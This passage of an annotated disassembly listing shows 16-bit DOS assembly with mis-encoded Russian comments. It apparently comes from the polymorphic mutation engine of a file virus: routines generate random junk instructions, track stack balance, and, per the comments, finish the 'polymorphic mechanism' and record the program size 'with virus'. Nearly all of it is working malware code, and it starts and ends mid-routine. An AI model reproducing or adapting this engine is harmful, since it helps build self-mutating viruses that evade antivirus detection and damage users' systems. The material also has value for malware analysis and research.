; ”®à¬ â ¨­ä®-¡«®ª  : dw - à §¬¥à ãç á⪠ (=00 - Mark-end ˆ<>”Ž-¡«®ª )
; dw -  ¤à¥á ãç á⪠
; N*db - ª®¤ë ãç á⪠
;------------------------------------------------------------------------------
0582 loc_0582:
0582 2E: 89 3E 04E3 mov cs:data_04E3,di
0587 33 C0 xor ax,ax ; Zero register
; ‘­ ç «  áç¨â ¥¬ çâ® à §¬¥à ãç á⪠ ­ã«¥¢®© (í⮦¥ ¢ á«ãç ¥ ᢥàâ뢠­¨ï
; à ¡®âë £¥­¥à â®à  ï¥âáï Mark-end'®¬ ˆ<>”Ž-¡«®ª 
0589 AB stosw ; Store ax to es:[di]
058A 8B C3 mov ax,bx
; ‡ ¯¨è¥¬  ¤à¥á ­ ç «  ­®¢®£® ãç á⪠ £¥­¥à¨à㥬®£® ª®¤ 
058C AB stosw ; Store ax to es:[di]
058D 9D popf ; Pop flags
058E 73 0E jnc short loc_ret_059E ; Jump if CF=0
;------------------------------------------------------------------------
; ‡ ¢¥àè ¥¬ à ¡®âã ¯®«¨¬®àä­®£® ¬¥å ­¨§¬ 
;------------------------------------------------------------------------
0590 2E: 8B 3E 0A03 mov di,cs:data_0A03
; ‡ ¯¨áì Mark-end ¢ MEM-¡«®ª
0595 B4 FF mov ah,0FFh
0597 AB stosw ; Store ax to es:[di]
0598 BC 00EC mov sp,1111h ; ¢®ááâ ­ ¢«¨¢ ¥¬ á⥪
data_0599 = word ptr $ - 2
059B B8 4000 mov ax,1111h ; AX = ¯®«­ë© à §¬¥à ¯à®£à ¬¬ë
; á ¢¨àãᮬ
data_059C = word ptr $ - 2
059E loc_ret_059E:
059E C3 retn
sub_042E endp
;==========================================================================
; SUBROUTINE
;==========================================================================
059F loc_059F:
059F 80 FA 8E cmp dl,8Eh ; cmd MOV SEG, r/m
05A2 9C pushf ; Push flags
05A3 B0 00 mov al,0
05A5 74 03 jz short loc_05AA ; Jump if zero
05A7 E8 FD9B call RND_01 ; ‘«®¢  ¨«¨ ¡ ©âë ?
05AA loc_05AA:
05AA E8 009C call sub_0649 ; ‡ ¯¨áì ª®¬ ­¤ë
05AD 92 xchg dx,ax
05AE E8 FD80 call RND_0_FF ; ƒ¥­¥à æ¨ï ¡ ©â   ¤à¥á æ¨¨
05B1 9D popf ; Pop flags
05B2 75 13 jnz short loc_05C7 ; Jump if not zero
;------------------------------------------------------------------------------
05B4 24 C7 and al,11000111b ; ‚모¤ë¢ ¥¬ REG ¯®«¥
05B6 50 push ax
05B7 E8 FD8B call RND_01
05BA 58 pop ax
05BB 74 0A jz short loc_05C7 ; Jump if zero
;------------------------------------------------------------------------------
05BD 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; <20>¥£¨áâà DS ¬®¤¨ä¨æ¨à®¢ âì ¬®¦­® ?
05C3 74 02 je short loc_05C7 ; Jump if NO
05C5 0C 18 or al,00011000b ; …᫨ „€, â® { cmd MOV DS, r/m }
05C7 loc_05C7:
05C7 D0 EA shr dl,1 ; ‘«®¢  ¨«¨ ¡ ©âë ?
05C9 73 0F jnc short loc_05DA ; Jump if ¡ ©âë
;------------------------------------------------------------------------------
; á«ãç ¥ ®¯¥à æ¨¨ á 16-⨠¡¨â­ë¬¨ ॣ¨áâà ¬¨ ­ã¦­® ®âª¨­ãâì SP
05CB loc_05CB:
05CB F9 stc ; Set carry flag
05CC 9C pushf ; Push flags
05CD 8A E0 mov ah,al
05CF 80 E4 38 and ah,00111000b ; ‚뤥«¥­¨¥ ¯®«ï REG
05D2 80 FC 20 cmp ah,00100000b
05D5 75 02 jne short loc_05D9 ; Jump if not equal
05D7 0C 08 or al,00001000b ; ¢¬¥áâ® SP ¯®¤áâ ¢«ï¥¬ BP
05D9 loc_05D9:
05D9 9D popf ; Pop flags
;==========================================================================
; * <20> §¡®àª  ¡ ©â   ¤à¥á æ¨¨ *
05DA loc_05DA:
05DA 9F lahf ; Load ah from flags
05DB E8 006D call Write_byte
05DE A8 C0 test al,11000000b ; ‚뤥«¥­¨¥ MOD
05E0 75 35 jnz short loc_0617 ; Jump if MOD <> 00
05E2 24 07 and al,00000111b ; ‚뤥«¥­¨¥ R/M
05E4 3C 06 cmp al,00000110b ; …᫨ R/M = 110 (â.¥. disp16)
; â® ®¡å®¤
05E6 74 48 je short loc_0630 ; Jump if equal
05E8 9E sahf ; Store ah into flags
05E9 73 2B jnc short loc_ret_0616 ; Jump if carry=0
;--------------- ®¯à¥¤¥«¥­¨¥ ⨯  ¯à®æ¥áá®à  ----------------------------------
05EB 54 push sp
05EC 5A pop dx
05ED 3B D4 cmp dx,sp
05EF 75 25 jne short loc_ret_0616 ; Jump if ¤® 286
;------------------------------------------------------------------------------
05F1 3C 07 cmp al,00000111b
05F3 B4 04 mov ah,4
05F5 74 0A jz short loc_0601 ; Jump if zero
05F7 3C 04 cmp al,00000100b
05F9 72 1B jb short loc_ret_0616 ; Jump if below
05FB B4 01 mov ah,1
05FD 74 02 jz short loc_0601 ; Jump if zero
05FF B4 03 mov ah,3
0601 loc_0601:
0601 28 67 FF sub [bx-1],ah
0604 E8 FD2A call RND_0_FF ; ƒ¥­¥à¨à㥬 ¡ ©â  ¤à¥á æ¨¨
0607 24 C0 and al,11000000b ; ‚뤥«ï¥¬ MOD
; ¨áª«îç¨âì ॣ¨áâ஢ãî  ¤à¥á æ¨î (MOD=11)
0609 3C C0 cmp al,11000000b ; MOD = 11 ?
060B 75 02 jne short loc_060F ; Jump if no
060D B0 80 mov al,10000000b ; ᤥ« âì MOD = 10
060F loc_060F:
060F 08 47 FF or [bx-1],al
0612 0A C0 or al,al ; Zero ?
0614 75 01 jnz short loc_0617 ; Jump if not zero
0616 loc_ret_0616:
0616 C3 retn
0617 loc_0617:
0617 24 C0 and al,11000000b ; ‚뤥«ï¥¬ MOD
0619 3C 40 cmp al,40h
061B 75 0F jne short loc_062C ; Jump if not equal
;------------------------------------------------------------------------------
; …᫨ ¯à®æ¥áá®à 286+, â® ­¥ á«¥¤ã¥â ¯®¤å®¤¨âì ª £à ­¨æ¥ ᥣ¬¥­â 
061D loc_061D:
061D 54 push sp
061E 58 pop ax
061F 3B C4 cmp ax,sp
0621 B8 00FF mov ax,0FFh
0624 74 01 jz short loc_0627 ; Jump if zero
0626 40 inc ax
0627 loc_0627:
0627 E8 FD1E call RND_0_AX
062A EB 1F jmp short loc_064B
062C loc_062C:
062C 3C 80 cmp al,80h
062E 75 10 jne short loc_ret_0640 ; Jump if not equal
;===================IM16===================================================
0630 loc_0630:
0630 B8 FFFF mov ax,0FFFFh
0633 E8 FD12 call RND_0_AX
;==========================================================================
Write_word proc near
0636 loc_0636:
0636 E8 0012 call Write_byte
0639 86 E0 xchg ah,al
063B E8 000D call Write_byte
063E 86 C4 xchg al,ah
0640 loc_ret_0640:
0640 C3 retn
Write_word endp
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_0641 proc near
0641 E8 FCF8 call RND_01234567 ; ¢ë¡à âì ॣ¨áâà
0644 3C 04 cmp al,4 ; ¥á«¨ SP, â® ®â¡à®á¨âì
0646 75 01 jne short loc_0649 ; Jump if not equal
0648 40 inc ax
sub_0649:
0649 loc_0649:
0649 0A C2 or al,dl ; OP or REG
;==============================================================================
; <20>à®æ¥¤ãà  § ¯¨á¨ á­¥£¥­¨à®¢ ­­®£® ¡ ©â  ¢ ¯ ¬ïâì
; DI - ⥪ã饥 ¯®«®¦¥­¨¥ ¢ ˆ<>”Ž-¡«®ª¥
; BX - 㪠§ â¥«ì  ¤à¥á  § ¯®«­ï¥¬®£® ãç á⪠
;==============================================================================
Write_byte:
064B loc_064B:
064B 50 push ax
064C 86 07 xchg [bx],al
064E AA stosb ; Store al to es:[di]
064F 58 pop ax
0650 43 inc bx ; <20>¥à¥¤¢¨­ãâì 㪠§ â¥«ì  ¤à¥á 
0651 2E: FF 06 09E0 inc cs:BytesWrittenCounter ; <20>®¤áç¥â ª®«¨ç¥á⢠ ᣥ­¥à¨à®-
; ¢ ­­ëå ¡ ©â
; <20>த¢¨£ ¥¬ 㪠§ â¥«ì ˆ<>”Ž-¡«®ª  ¯® ¬¥à¥ £¥­¥à æ¨¨ ­®¢ëå ¡ ©â®¢
; ¯®«¨¬®àä­®£® "¬ãá®à "
0656 56 push si
0657 2E: 8B 36 04E3 mov si,cs:data_04E3
065C FF 04 inc word ptr [si]
065E 5E pop si
065F C3 retn
sub_0641 endp
;==========================================================================
; €à¨ä¬¥â¨ç¥áª¨¥ ®¯¥à æ¨¨ ­  ॣ¨áâà ¬¨ ⨯  ŠŽ<C5A0> REG,r/m ¨§ ­ ¡®à  data_0A43
;==========================================================================
sub_0660 proc near
0660 B8 000C mov ax,0Ch
0663 E8 FCE2 call RND_0_AX ; AX = 00..0Bh
0666 96 xchg si,ax
0667 2E: 8A 94 0A43 mov dl,cs:data_0A43[si]
066C E9 FF30 jmp loc_059F
sub_0660 endp
;==========================================================================
; Ž¯¥à æ¨¨ ¯¥à¥á뫪¨ ¢ ॣ¨áâàë
;==========================================================================
sub_066F proc near
066F B2 B8 mov dl,0B8h ; cmd MOV REG,IM16
0671 E8 FCD1 call RND_01
0674 75 05 jnz short loc_067B ; Jump if not zero
0676 E8 FFC8 call sub_0641
0679 EB B5 jmp short loc_0630
067B loc_067B:
067B E8 FCBE call RND_01234567 ; ‚ë¡à âì ॣ¨áâà
067E 0C B0 or al,0B0h
0680 E8 FFC8 call Write_byte ; cmd MOV REG,IM8
0683 loc_0683:
0683 EB 98 jmp short loc_061D
sub_066F endp
;==========================================================================
; €à¨ä¬¥â¨ç¥áª¨¥ ®¯¥à æ¨¨ ­ ¤ ॣ¨áâ஬ AX(AL) ¨§ ­ ¡®à  data_0A4F
;==========================================================================
sub_0685 proc near
0685 B8 000A mov ax,0Ah
0688 E8 FCBD call RND_0_AX ; AX = 00..09
068B 96 xchg si,ax
068C E8 FCB6 call RND_01 ; ‚롨ࠥ¬ á«®¢  ¨«¨ ¡ ©âë
068F 2E: 0A 84 0A4F or al,cs:data_0A4F[si]
0694 E8 FFB4 call Write_byte
0697 0B F6 or si,si ; Zero ?
0699 74 06 jz short loc_06A1 ; Jump if zero
069B D0 E8 shr al,1 ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
069D 72 02 jc short loc_06A1 ; Jump if carry Set
069F EB E2 jmp short loc_0683
06A1 loc_06A1:
06A1 EB 8D jmp short loc_0630
sub_0685 endp
;==============================================================================
; Ž¯¥à æ¨¨ á ᥣ¬¥­â­ë¬¨ ॣ¨áâà ¬¨ Prefix, PUSH SEGREG, POP SEGERG
;==============================================================================
sub_06A3 proc near
06A3 E8 FC9C call RND_012 ; —¥£® ¡ã¤¥¬ £¥­¥à¨âì ?
; =0 - ᥣ¬¥­â­ë© ¯à¥ä¨ªá
; =1 - € ¬®¦¥â ­ã¦­  ª®¬ ­¤  POP
; =2 - PUSH ᥣ¬¥­â­ë© ॣ¨áâà
06A6 B2 26 mov dl,26h ; SEG Prefix (ES:,DS:,CS:,SS:)
06A8 74 0A jz short loc_06B4 ; Jump if zero
06AA B2 06 mov dl,6 ; PUSH SEG_REG (ES/DS/CS/SS)
06AC 48 dec ax
06AD 74 0E jz short loc_06BD ; Jump if zero
06AF loc_06AF:
06AF 2E: FF 06 06BE inc cs:StackCounter ; …᫨ ª®¬ ­¤  PUSH, â® ¤®¡ -
; ¢¨âì á«®¢® ¢ áç¥â稪 á⥪ 
06B4 loc_06B4:
06B4 E8 FC88 call RND_0123 ; ¢ë¡¨à ¥¬ ᥣ¬¥­â­ë© ॣ¨áâà
06B7 B1 03 mov cl,3
06B9 D2 E0 shl al,cl ; Shift w/zeros fill
06BB EB 8C jmp short loc_0649
;------------------------------------------------------------------------------
06BD loc_06BD:
06BD B8 0009 mov ax,1111h
StackCounter = word ptr $-2
06C0 2E: 3B 06 06F3 cmp ax,cs:data_06F3 ; …áâì «¨ ¢ ⥪ã饩 ¯®¤¯à®£à ¬¬¥
; ­¥ á­ïâë¥ §­ ç¥­¨ï ¢ á⥪¥ ?
06C5 74 E8 je loc_06AF ; <20>. ’®£¤  ¯®«®¦¨¬ ®¤­® á«®¢®
;----------------------------------------------; „€. ’®£¤  á­¨¬¥¬ å®âì ®¤­® ---
06C7 42 inc dx ; cmd POP ES
06C8 2E: FF 0E 06BE dec cs:StackCounter ; ‘­ïâì á«®¢® á® áç¥â稪  á⥪ 
06CD 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; Œ®¦­® «¨ ¬®¤¨ä¨æ¨à®¢ âì DS ?
06D3 74 07 je short loc_06DC ; Jump if NO
06D5 E8 FC6D call RND_01 ; ’ ª çâ® ¡ã¤¥¬ ¨«¨ ­¥â ?
06D8 74 02 jz short loc_06DC ; Jump if RND=0
06DA B2 1F mov dl,1Fh ; cmd POP DS
06DC loc_06DC:
06DC 92 xchg dx,ax
06DD loc_06DD:
06DD E9 FF6B jmp loc_064B
sub_06A3 endp
;==============================================================================
; Ž¯¥à æ¨¨ ¨§ ­ ¡®à  data_0A5D
; <20>ਬ¥ç ­¨¥: data_06F3 - ¯à¨ ­ã«¥¢®¬ §­ ç¥­¨¨ 㪠§ë¢ ¥â ­  ®âáãâᢨ¥
; ­¥§ ªàëâëå ¯®¤¯à®£à ¬¬
; - ¯à¨ ­¥­ã«¥¢®¬ §­ ç¥­¨¨ 㪠§ë¢ ¥â ­  ­ «¨ç¨¥
; ®âªàëâëå ¯®¤¯à®£à ¬¬ ¨ ᮤ¥à¦¨â §­ ç¥­¨¥
; áç¥â稪  á⥪  ¯à¨ ®âªàë⨨ ®ç¥à¥¤­®© ¯®¤¯à®£à ¬¬ë
;==============================================================================
sub_06E0 proc near
06E0 E8 FC5F call RND_012 ; ‚¥à®ïâ­®áâì 1/2
06E3 74 06 jz short loc_06EB ; Jump if zero
06E5 B8 0005 mov ax,5
06E8 E8 FC5D call RND_0_AX ; AX = 00..04
06EB loc_06EB:
06EB 96 xchg si,ax
06EC 75 10 jnz short loc_06FE ; Jump if not zero
06EE 2E: A1 06BE mov ax,cs:StackCounter
06F2 3D 0007 cmp ax,1111h
data_06F3 = word ptr $ - 2
06F5 74 06 je short loc_06FD ; Jump if equal
06F7 2E: FF 0E 06BE dec cs:StackCounter
06FC 4E dec si
06FD loc_06FD:
06FD 46 inc si
06FE loc_06FE:
06FE E8 FC3B call RND_01234567 ; ‚롨ࠥ¬ ॣ¨áâà
0701 4E dec si
0702 74 07 jz short loc_070B ; Jump if zero
; <20>¥£¨áâà SP ®â¡à®á¨âì
0704 3C 04 cmp al,4
0706 75 08 jne short loc_0710 ; Jump if not equal
0708 40 inc ax ; § ¬¥­ï¥¬ ­  BP
0709 EB 05 jmp short loc_0710
070B loc_070B:
070B 2E: FF 06 06BE inc cs:StackCounter ; ¤®¡ ¢¨âì ®¤­® á«®¢® ª áç¥âç¨-
; ªã á⥪ 
0710 loc_0710:
0710 2E: 0A 84 0A5D or al,cs:data_0A5D[si]
0715 EB C6 jmp short loc_06DD
sub_06E0 endp
;==============================================================================
; Ž¯¥à æ¨¨ ¨§ ­ ¡®à  data_0A61
; <20>ਬ¥ç ­¨¥ : á«ãç ¥ ¯à®æ¥áá®à  286+ ­¥®¡å®¤¨¬® ®â¡à®á¨âì áâப®¢ë¥ ®¯¥à æ¨¨
; á® á«®¢ ¬¨, â.ª. ¥á«¨ SI ¨«¨ DI ¯à¨¬ãâ §­ ç¥­¨¥ FFFFh, â®
; ¢®§­¨ª­¥â ®¡é ï ®é¨¡ª  § é¨âë (<28><EFBFBD>…•Ž„ ‡€ ƒ<><EFBFBD>ˆ…ƒŒ…<C592>€)
;==============================================================================
sub_0717 proc near
0717 B8 0017 mov ax,17h
;--------------- ®¯à¥¤¥«ï¥¬ ⨯ ¯à®æ¥áá®à  ------------------------------------
071A 54 push sp
071B 5A pop dx
071C 3B D4 cmp dx,sp
071E 75 03 jne short loc_0723 ; Jump if ¤® 286
0720 2D 0003 sub ax,3 ; ˆ­ ç¥ ã¡à âì áâப®¢ë¥ ®¯¥à æ¨¨
0723 loc_0723:
0723 E8 FC22 call RND_0_AX
0726 96 xchg si,ax
0727 75 05 jnz short loc_072E ; Žâá«¥¦¨¢ ¥¬ ª®¬ ­¤ã PUSHF
0729 2E: FF 06 06BE inc cs:StackCounter
072E loc_072E:
072E 2E: 8A 84 0A61 mov al,cs:data_0A61[si]
0733 EB A8 jmp short loc_06DD ; Write_byte
sub_0717 endp
;==============================================================================
; Ž¯¥à æ¨¨ ª®à४樨 ¨ § £à㧪¨ ¨§ ¯®àâ  á ¢¥à®ïâ­®áâìî 1/2 ª ¦¤ ï
;==============================================================================
sub_0735 proc near
0735 B2 D4 mov dl,0D4h ; cmd AAM/AAD IM8
0737 E8 FC0B call RND_01 ; á ¢¥à®ïâ­®áâìî 1/2
073A 74 05 jz short loc_0741 ; Jump if zero
073C E8 02F7 call sub_0A36 ; Œ®¦¥â ¢áâ ¢¨âì NOP ?
073F B2 E4 mov dl,0E4h ; cmd IN AL,IM8
0741 loc_0741:
0741 E8 FC01 call RND_01 ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
0744 E8 FF02 call sub_0649 ; ‡ ¯¨áì ª®¬ ­¤ë
0747 E8 FBE7 call RND_0_FF ; ƒ¥­¥à æ¨ï IM8
074A 75 07 jnz short loc_0753 ; Jump if not zero
074C 80 7F FF D4 cmp byte ptr [bx-1],0D4h
0750 75 01 jne short loc_0753 ; Jump if not equal
0752 40 inc ax
0753 loc_0753:
0753 EB 88 jmp short loc_06DD ; Write_byte
sub_0735 endp
;==============================================================================
; Ž¯¥à æ¨ï PUSH R/M
;==============================================================================
sub_0755 proc near
0755 B0 FF mov al,0FFh
0757 E8 FEF1 call Write_byte ; ­ ¡®à Grp2/3
075A E8 FBD4 call RND_0_FF
075D 24 C7 and al,11000111b ; ¨§ í⮣® ­ ¡®à  ⮫쪮
075F 0C 30 or al,00110000b ; ª®¬ ­¤  PUSH
0761 2E: FF 06 06BE inc cs:StackCounter ; ¤®¡ ¢¨âì á«®¢® ¢ áç¥â稪
0766 F9 stc ; Set carry flag
0767 E9 FE70 jmp loc_05DA
sub_0755 endp
;==============================================================================
; Ž¯¥à æ¨ï XCHG REG, R/M
;==============================================================================
sub_076A proc near
076A E8 FBD8 call RND_01 ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
076D 0C 86 or al,86h
076F E8 FED9 call Write_byte
0772 D0 E8 shr al,1 ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
0774 73 06 jnc short loc_077C ; ¯¥à¥å®¤, ¥á«¨ ¡ ©âë
0776 E8 005A call sub_07D3 ; £¥­¥à¨à㥬 ¡ ©â  ¤à¥á æ¨¨
0779 loc_0779:
0779 E9 FE4F jmp loc_05CB ; Žâ« ¢«¨¢ ¥¬ SP ¨ § ¯¨á뢠¥¬
sub_077C:
077C loc_077C:
077C E8 0054 call sub_07D3 ; £¥­¥à¨à㥬 ¡ ©â  ¤à¥á æ¨¨
077F EB D2 jmp short loc_0753 ; Write_byte
sub_076A endp
;==============================================================================
; Ž¯¥à æ¨¨ LEA, LDS, LES
;==============================================================================
sub_0781 proc near
0781 E8 FBBE call RND_012
0784 75 09 jnz short loc_078F ; Jump if not zero
0786 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; Œ®¦­® ¬¥­ïâì ॣ¨áâà DS ?
078C 75 01 jne short loc_078F ; Jump if YES
078E 40 inc ax ; …᫨ <20>, â® ®âª¨¤ë¢ ¥¬ LDS
078F loc_078F:
078F 96 xchg si,ax
0790 2E: 8A 84 0A59 mov al,cs:data_0A59[si]
0795 E8 FEB3 call Write_byte
0798 E8 FB96 call RND_0_FF ; Ž¯à¥¤¥«ï¥¬áï á ¡ ©â®¬  ¤à¥á æ¨¨
079B 3C C0 cmp al,11000000b
079D 72 02 jb short loc_07A1 ; Jump if below
079F 24 3F and al,00111111b ; MOD = 00
07A1 loc_07A1:
07A1 EB D6 jmp short loc_0779
sub_0781 endp
;==============================================================================
; €à¨ä¬¥â¨ç¥áª¨¥ ®¯¥à æ¨¨ ­ ¤ ॣ¨áâà ¬¨
;==============================================================================
sub_07A3 proc near
07A3 E8 FB96 call RND_01234567 ; ‚¥à®ïâ­®áâì ¢ë¡®à  ­ ¡®à®¢
07A6 74 18 jz short loc_07C0 ; Jump if zero
;-[ <20> ¡®à ArOp 1/2 ]-----------------------------------------------------------
07A8 E8 FB94 call RND_0123
07AB 50 push ax
07AC 0C 80 or al,80h ; AL = 80h..83h
07AE E8 FE9A call Write_byte
07B1 D0 E8 shr al,1 ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
07B3 E8 FFC6 call sub_077C
07B6 loc_07B6:
07B6 58 pop ax
07B7 48 dec ax
07B8 74 03 jz short loc_07BD ; Jump if zero
07BA E9 FE60 jmp loc_061D ; IM8
07BD loc_07BD:
07BD E9 FE70 jmp loc_0630 ; IM16
;-[ <20> ¡®à Grp 2/3 ]------------------------------------------------------------
07C0 loc_07C0:
07C0 E8 FB82 call RND_01 ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
07C3 50 push ax
07C4 0C F6 or al,0F6h ; ­ ¡®à Grp2/3
07C6 E8 FE82 call Write_byte ; ‡ ¯¨áì ª®¬ ­¤ë ­ ¡®à 
07C9 E8 FB70 call RND_01234567 ; ‚롨ࠥ¬ ॣ¨áâà ¤«ï R/M
07CC 0C C0 or al,11000000b ; “áâ ­®¢¨âì MOD = 11
07CE E8 FE7A call Write_byte
07D1 EB E3 jmp short loc_07B6
sub_07A3 endp
;==============================================================================
; ƒ¥­¥à æ¨ï ¡ ©â   ¤à¥á æ¨¨ á ॣ¨áâ஢®©  ¤à¥á æ¨¥© [MOD]-[REG]-[R/M]
; <20>  ¢å®¤¥ : CF = 0 - 8-¬¨ ¡¨â­ë¥ ॣ¨áâàë
; CF = 1 - 16-⨠¡¨â­ë¥ ॣ¨áâàë
;==============================================================================
sub_07D3 proc near
07D3 9C pushf ; Push flags
07D4 E8 FB5F call RND_0_3F ; ƒ¥­¥à¨¬ ¯®«ï REG ¨ R/M
07D7 9D popf ; Pop flags
07D8 73 0B jnc short loc_07E5 ; Jump if CF=0
; ¥á«¨ ®¯¥à æ¨¨ á 16-⨠¡¨â­ë¬¨ ॣ¨áâà ¬¨, â® ­ã¦­® á«¥¤¨âì §  SP
07DA 8A E0 mov ah,al
07DC 80 E4 07 and ah,00000111b ; ‚뤥«¨âì ¯®«¥ R/M
07DF 80 FC 04 cmp ah,00000100b ; Ž¯¥à æ¨¨ á SP ¯à®¯ã᪠¥¬
07E2 75 01 jne short loc_07E5 ; Jump if not equal
07E4 40 inc ax ; ‚¬¥áâ® SP áâ ¢¨¬ BP
07E5 loc_07E5:
07E5 0C C0 or al,11000000b ; MOD = 11
07E7 C3 retn
sub_07D3 endp
;==============================================================================
; Ž¯¥à æ¨¨ MUL/IMUL ­ ¤ ॣ¨áâà ¬¨
;==============================================================================
sub_07E8 proc near
07E8 E8 FB5A call RND_01 ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
07EB 0C F6 or al,0F6h ; <20> ¡®à Grp 2/3
07ED E8 FE5B call Write_byte ; ‡ ¯¨áì ª®¬ ­¤ë ­ ¡®à 
07F0 92 xchg dx,ax
07F1 E8 FB3D call RND_0_FF ; £¥­¥à¨¬ ¡ ©â  ¤à¥á æ¨¨
07F4 24 CF and al,11001111b ; ˆ§ ­ ¡®à  Grp 2/3 ¢ë¡¨à ¥¬
07F6 0C 20 or al,00100000b ; ª®¬ ­¤ë MUL/IMUL
07F8 D0 EA shr dl,1 ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
07FA E9 FDDD jmp loc_05DA
sub_07E8 endp
;==============================================================================
; Ž¯¥à æ¨¨ NOT/NEG ­ ¤ ॣ¨áâà ¬¨
;==============================================================================
sub_07FD proc near
07FD E8 FB45 call RND_01 ; ‚롨ࠥ¬: á«®¢  ¨«¨ ¡ ©âë
0800 9C pushf ; Push flags
0801 0C F6 or al,0F6h ; <20> ¡®à Grp 2/3
0803 92 xchg dx,ax
0804 E8 FB32 call RND_0_F ; AL = 0000 xREG
0807 8A E2 mov ah,dl
0809 0C D0 or al,11010000b ; MOD = 11, OP=01x, REG =RND
080B 9D popf ; Pop flags
080C 74 0B jz short loc_0819 ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
; ¥á«¨ ®¯¥à æ¨¨ á 16-⨠¡¨â­ë¬¨ ॣ¨áâà ¬¨, â® ­ã¦­® á«¥¤¨âì §  SP
080E 8A D0 mov dl,al
0810 80 E2 07 and dl,00000111b
0813 80 FA 04 cmp dl,00000100b ; ®â¡à®á¨âì SP
0816 75 01 jne short loc_0819 ; Jump if not equal
0818 40 inc ax ; ‚¬¥áâ® SP áâ ¢¨¬ BP
0819 loc_0819:
0819 86 C4 xchg al,ah
081B loc_081B:
081B E9 FE18 jmp loc_0636 ; Write_byte
sub_07FD endp
;==============================================================================
; Ž¯¥à æ¨¨ ¢à é¥­¨ï ᮤ¥à¦¨¬®£® ॣ¨áâ஢
;==============================================================================
sub_081E proc near
081E E8 FB1E call RND_0123
0821 0C D0 or al,0D0h ; AL = D0h..D3h
0823 E8 FE25 call Write_byte ; ‡ ¯¨á âì ª®¬ ­¤ã
0826 D0 E8 shr al,1 ;
0828 9C pushf ; Push flags
0829 E8 FB0A call RND_0_3F
082C 9D popf ; Pop flags
082D 73 0B jnc short loc_083A ; ‚ë¡à «¨ á«®¢  ¨«¨ ¡ ©âë ?
; ¥á«¨ ®¯¥à æ¨¨ á 16-⨠¡¨â­ë¬¨ ॣ¨áâà ¬¨, â® ­ã¦­® á«¥¤¨âì §  SP
082F 8A E0 mov ah,al
0831 80 E4 07 and ah,00000111b
0834 80 FC 04 cmp ah,00000100b ; ®â¡à®á¨âì SP
0837 75 01 jne short loc_083A ; Jump if not equal
0839 40 inc ax ; ‚¬¥áâ® SP áâ ¢¨¬ BP
083A loc_083A:
083A 0C C0 or al,11000000b ; MOD = 11 (⮫쪮 ॣ¨áâàë)
083C loc_083C:
083C E9 FE0C jmp loc_064B ; Write_Byte
sub_081E endp
;==============================================================================
; <20>à®æ¥¤ãà  £¥­¥à¨àãîé ï ª®¬ ­¤ë ¢ëà ¢­¨¢ ­¨ï á⥪ 
; ‚室 : AX - ª®«¨ç¥á⢮ á«®¢, ­  ª®â®à®¥ ­ ¤® ¢ë஢­ïâì á⥪
;==============================================================================
sub_083F proc near
083F 51 push cx
0840 B1 58 mov cl,58h ; cmd POP REG
0842 48 dec ax ; AX = 1
0843 74 3B jz short loc_0880 ; Jump if zero
0845 48 dec ax ; AX = 2
0846 74 35 jz short loc_087D ; Jump if zero
0848 40 inc ax ; AX = 0
0849 40 inc ax
084A 74 37 jz short loc_0883 ; Jump if zero
084C B1 50 mov cl,50h ; cmd PUSH REG
084E 40 inc ax ; AX = -1 (FFFFh)
084F 74 2F jz short loc_0880 ; Jump if zero
0851 40 inc ax ; AX = -2 (FFFEh)
0852 74 29 jz short loc_087D ; Jump if zero
;------------------------------------------------------------------------------
; —¨á«® AX ¯à¥®¡à §®¢ âì ¢ ª®«¨ç¥á⢮ á«®¢ (â.¥. 㬭®¦¨âì ­  2)
0854 48 dec ax
0855 48 dec ax
0856 D1 E0 shl ax,1 ; 㬭®¦¨âì ­  2
0858 8B C8 mov cx,ax ; CX = ª®«¨ç¥á⢮ á«®¢
085A 98 cbw ; Convrt byte to word
085B 3B C1 cmp ax,cx ; <20>®«ìè¥ 127(7F) ?
085D 9C pushf ; Push flags
;------------------------------------------------------------------------------
; ‚롨ࠥ¬ çâ® ¤¥« âì : ®â­¨¬ âì ¨«¨ ¯à¨¡ ¢«ïâì SP
085E E8 FAE4 call RND_01 ; <20>ਡ ¢¨âì ¨«¨ ®â­ïâì ?
; ---------------- ¯à¨¡ ¢¨âì
0861 B8 C483 mov ax,0C483h ; cmd <ADD SP, IM8> {83 C4 xx}
0864 74 04 jz short loc_086A ; Jump if RND = 0
; ---------------- ®â­ïâì
0866 B4 EC mov ah,0ECh ; cmd <SUB SP, IM8> {83 EC xx}
0868 F7 D9 neg cx ; CX = -CX
086A loc_086A:
086A 9D popf ; Pop flags
086B 75 07 jnz short loc_0874 ; <20>¥à¥å®¤, ¥á«¨ ¡®«ìè¥ 127
;-------- <20>€‰ (IM8) ---------------------------------------------------------
086D E8 FDC6 call Write_word ; ‡ ¯¨áì ª®¬ ­¤ë
0870 91 xchg cx,ax
0871 59 pop cx
0872 EB C8 jmp short loc_083C ; Write_Byte (§ ¯¨áì IM8)
;-------- ‘‹Ž‚€ (IM16) --------------------------------------------------------
; {81 EC xx xx} - ADD SP, IM16 {81 EC xx xx} - SUB SP, IM16
0874 loc_0874:
0874 B0 81 mov al,81h
0876 E8 FDBD call Write_word
0879 91 xchg cx,ax
087A 59 pop cx
087B loc_087B:
087B EB 9E jmp short loc_081B
;------------------------------------------------------------------------------
087D loc_087D:
087D E8 0005 call sub_0885
0880 loc_0880:
0880 E8 0002 call sub_0885
0883 loc_0883:
0883 59 pop cx
0884 C3 retn
sub_083F endp
;==============================================================================
; <20>à®æ¥¤ãà  £¥­¥à æ¨¨ ¡¨â®¢ R/M ¢ ¡ ©â¥  ¤à¥á æ¨¨
;==============================================================================
sub_0885 proc near
0885 E8 FAB4 call RND_01234567 ; ‚롨ࠥ¬ ॣ¨áâà
0888 0A C1 or al,cl
088A 3C 5C cmp al,5Ch ; Ž¯¥à æ¨¨ POP SP ?
088C 75 AE jne loc_083C ; Jump if NO
